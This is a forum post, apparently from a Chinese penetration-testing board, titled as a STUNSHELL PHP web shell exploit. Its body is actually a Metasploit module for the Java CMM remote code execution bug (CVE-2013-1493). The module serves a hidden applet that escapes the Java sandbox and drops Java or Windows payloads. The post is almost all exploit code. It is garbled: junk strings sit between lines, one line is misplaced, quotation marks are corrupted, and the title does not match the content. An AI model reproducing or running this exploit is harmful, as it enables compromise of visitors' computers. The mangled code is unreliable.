中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
! y' M4 P6 ]8 `- p- t6 _
+ N8 B. |2 d D; q7 l1 @7 l+ d2 X
# This file is part of the Metasploit Framework and may be subject to
8 P- X. s# t- C& G/ J/ o; O( l
# redistribution and commercial restrictions. Please see the Metasploit
7 q4 _1 y/ Q5 S* P) c, V2 L3 @
# web site for more information on licensing and terms of use.
( z. g3 w6 t* `! a
#
http://metasploit.com/
" Q& S. \# g2 v: ]9 F
##
! f5 t0 q3 M4 _, R3 n- \% e
require ‘msf/core’
" c# E6 c4 \( H% r
require ‘rex’
8 k% W1 g! D4 N2 t9 E; k# ^
class Metasploit3 < Msf::Exploit::Remote
+ R3 K3 p& ]" \% |* x* b1 U
Rank = NormalRanking
( X5 i+ z, u/ `4 p2 u% Z
include Msf::Exploit::Remote::HttpServer::HTML
- c- s1 f. |# r
include Msf::Exploit::EXE
8 |" G# N7 K* e- ~& {* X! Q
include Msf::Exploit::Remote::BrowserAutopwn
. Z+ v R6 }7 ^ c
autopwn_info({ :javascript => false })
% A5 i7 e; \- n
def initialize( info = {} )
# w! o5 L0 ?4 K( O" J& j& C' K, c; j
super( update_info( info,
. ]( r0 S$ L; U, f' b
‘Name’ => ‘Java CMM Remote Code Execution’,
$ m! w! I K+ C5 D
‘Description’ => %q{
/ S3 V- Z) i" }3 P# X' o# g
This module abuses the Color Management classes from a Java Applet to run
( Q# A0 a& d( ]& Q6 V( |8 j1 L- {" a
arbitrary Java code outside of the sandbox as exploited in the wild in February
# M# \: l7 `8 d, e# n
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
/ W& K+ h7 r- k) \/ b7 u$ g; T
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
& p7 V6 d6 B9 w$ M
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
% W# Y) E6 j/ N1 m. b* q; |
warning in order to run the malicious applet.
5 m m- t0 ?% B# O
},
; }& ^" x: V' d0 N* {8 |
‘License’ => MSF_LICENSE,
# H% G- V' @1 N; G- X' [2 Q
‘Author’ =>
+ V+ P+ ^5 q* W# z) e7 [3 B( v) C
'Unknown', # Vulnerability discovery and Exploit
" q' L. a8 L, _+ _' P% X
'juan vazquez' # Metasploit module (just ported the published exploit)
% S/ h8 q& s/ x2 z
],
0 T" K, `8 E9 Z7 [9 _& l+ x% A
‘References’ =>
* Z% O7 g/ R. M6 t1 z4 w
[
( y/ @( F X! N) V4 l! k
[ 'CVE', '2013-1493' ],
, T) a- f. F H- r! T5 u7 V3 k9 J
[ 'OSVDB', '90737' ],
' f C2 T1 E8 ]/ P! D! |
[ 'BID', '58238' ],
4 F, K- m- ?4 j4 s2 f: Z
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
' g& v" @1 W+ I: A
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
. W; U' b% A R
[ 'URL', 'http://pastie.org/pastes/6581034' ]
, Q- I" k+ L# e
],
% \& q/ U) t, O+ p* o: s; [
‘Platform’ => [ 'win', 'java' ],
9 V7 L. B1 F* P
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
2 L$ E+ n: N$ N& P+ \: y+ H8 z( V
‘Targets’ =>
% [! k1 F) c0 A
[
N, J% U9 ~6 G) ~% c0 M
[ 'Generic (Java Payload)',
( m3 |; n1 q" }. U
{
* w2 ?1 z$ L J4 {, m# E/ G
'Platform' => 'java',
% V# x" m- V7 V2 n$ b7 o8 I
'Arch' => ARCH_JAVA
% X9 K6 G. z/ z
}
) C8 Z- V, Y! Y
],
, R& X- ?4 `6 B! W
[ 'Windows x86 (Native Payload)',
' q0 F- |5 T5 P H9 {, r9 X
{
( b% _5 R- t: t
'Platform' => 'win',
+ m6 T- [: ?& e
'Arch' => ARCH_X86
1 j# r9 I# Z7 N' n9 A
}
8 |9 Z0 G' y& ? y/ z
]
% s+ g$ [% R7 E5 P( n
],
. G% T M# Z2 F) x$ K! i( D
‘‘DisclosureDate’ => ‘Mar 01 2013′
1 p$ Z: B1 {. E# u( h
))
8 I7 m0 t! F! N5 v% ^; U
end
7 b a/ C% Q# r; q5 c/ j5 x) ?; I
def setup
+ Z! @6 ^* ~5 M% s6 j
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
8 s N5 G9 r+ T+ n$ ~. _
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
: F. V2 }" S) p2 S
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
, O6 f- K& u# ~ ]- ]1 p
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
) m0 f5 B- h% J
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
1 e- z: K! Z1 z% N& U( b0 a
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% ]( r! H% }! l4 H
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
( z. v; [: k* Y' c
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* r& X' G" }, w3 w
@init_class_name = rand_text_alpha(“Init”.length)
* a1 r! Y) \) f
@init_class.gsub!(“Init”, @init_class_name)
) q9 L* Z1 S+ Z: s C
super
?1 |, q. A- q2 T0 D/ ?
end
3 y$ {, j5 F: w/ K, D2 b
def on_request_uri(cli, request)
+ P0 o/ A$ ^- |, q! g( S
print_status(“handling request for #{request.uri}”)
9 I$ c+ `8 F; n, o8 @1 t" P
case request.uri
, b5 _6 R, l! e5 F, ?
when /\.jar$/i
1 @- {. \$ C$ x' e
jar = payload.encoded_jar
2 e. p5 Z' X" b+ U, ]$ s0 v7 }- }# T
jar.add_file(“#{@init_class_name}.class”, @init_class)
$ u# Y, p# ^0 I! c' T) A
jar.add_file(“Leak.class”, @leak_class)
4 N! H8 E" h! ^8 \# ?) r& j& y( N
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
" i! M9 H# K4 j/ Q1 @# l$ Z' f: o) S
jar.add_file(“MyColorSpace.class”, @color_space_class)
9 M) |( K1 Y8 r* t
DefaultTarget’ => 1,
r" U- i- I! G) y2 m( J; d
metasploit_str = rand_text_alpha(“metasploit”.length)
& R5 h6 A# U L, K( @) `
payload_str = rand_text_alpha(“payload”.length)
' e( S! d; L' O, f8 V0 Q9 \
jar.entries.each { |entry|
; [8 k4 t! T8 B4 Z
entry.name.gsub!(“metasploit”, metasploit_str)
' U7 Z" c1 w. _# [/ x+ b/ l7 f
entry.name.gsub!(“Payload”, payload_str)
" ^( f, h( u, I+ G- i
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
k1 n* w! N+ Z% S% T3 W1 W
entry.data = entry.data.gsub(“Payload”, payload_str)
* L2 F1 ^6 r6 P1 {( c! f! ~
}
( b6 M+ D0 X' z$ L5 C2 \
jar.build_manifest
/ a0 y7 C! Z4 `+ {# P$ Q
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
4 s2 p4 ?2 N. o0 F7 r. Q9 Q
when /\/$/
6 A; K8 y) t4 S
payload = regenerate_payload(cli)
1 u0 P! K& _5 Z- Y
if not payload
0 `, I( b6 K2 ~. W q$ M
print_error(“Failed to generate the payload.”)
! g+ `: z4 n, K7 J' c& |) |
send_not_found(cli)
( Q/ L: p2 b! Z( M4 B, j7 O
return
7 G1 N K; } i7 H
end
# M, o' b7 ]3 |* F
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
) G8 t U( M' B! [2 c. b. U
else
5 y. M0 d! ~7 i
send_redirect(cli, get_resource() + ‘/’, ”)
! r$ F5 Z% Y Q( F3 S! _2 e3 \
end
% A+ J9 l5 t9 n2 h& _" p
end
( {1 {0 A) ]$ y
def generate_html
* W. W1 D: G" J
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
: v# N1 w0 `: P6 x- d
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
/ w( v! ^" l/ L: m
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
% r% I3 m! h w+ s3 ?
html += %Q|</applet></body></html>|
$ X( }( P8 D9 ]4 C+ {( c2 x
return html
. l" i1 w* R6 S7 z+ x/ A& M
end
0 B7 L$ x& q, q5 ?
end
/ m4 A2 _ `" d7 r1 `8 s
end
3 {, }/ l, M7 `6 a
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2